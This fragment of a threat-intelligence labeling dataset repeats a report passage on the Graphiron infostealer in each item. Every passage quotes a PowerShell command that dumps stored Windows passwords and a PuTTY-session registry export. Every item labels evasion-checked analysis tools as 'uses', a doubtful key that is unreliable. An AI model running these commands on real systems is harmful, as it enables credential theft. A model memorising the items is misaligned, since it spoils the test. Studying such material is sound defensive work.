+        "input": "### Source Entity:\nGraphiron\n### Target Entity: idaq\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: idaq64\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: idau\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: idau64\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: idaw\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: idaw64\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: joeboxcontrol\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: joeboxserver\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: mitmdump\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: mitmweb\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
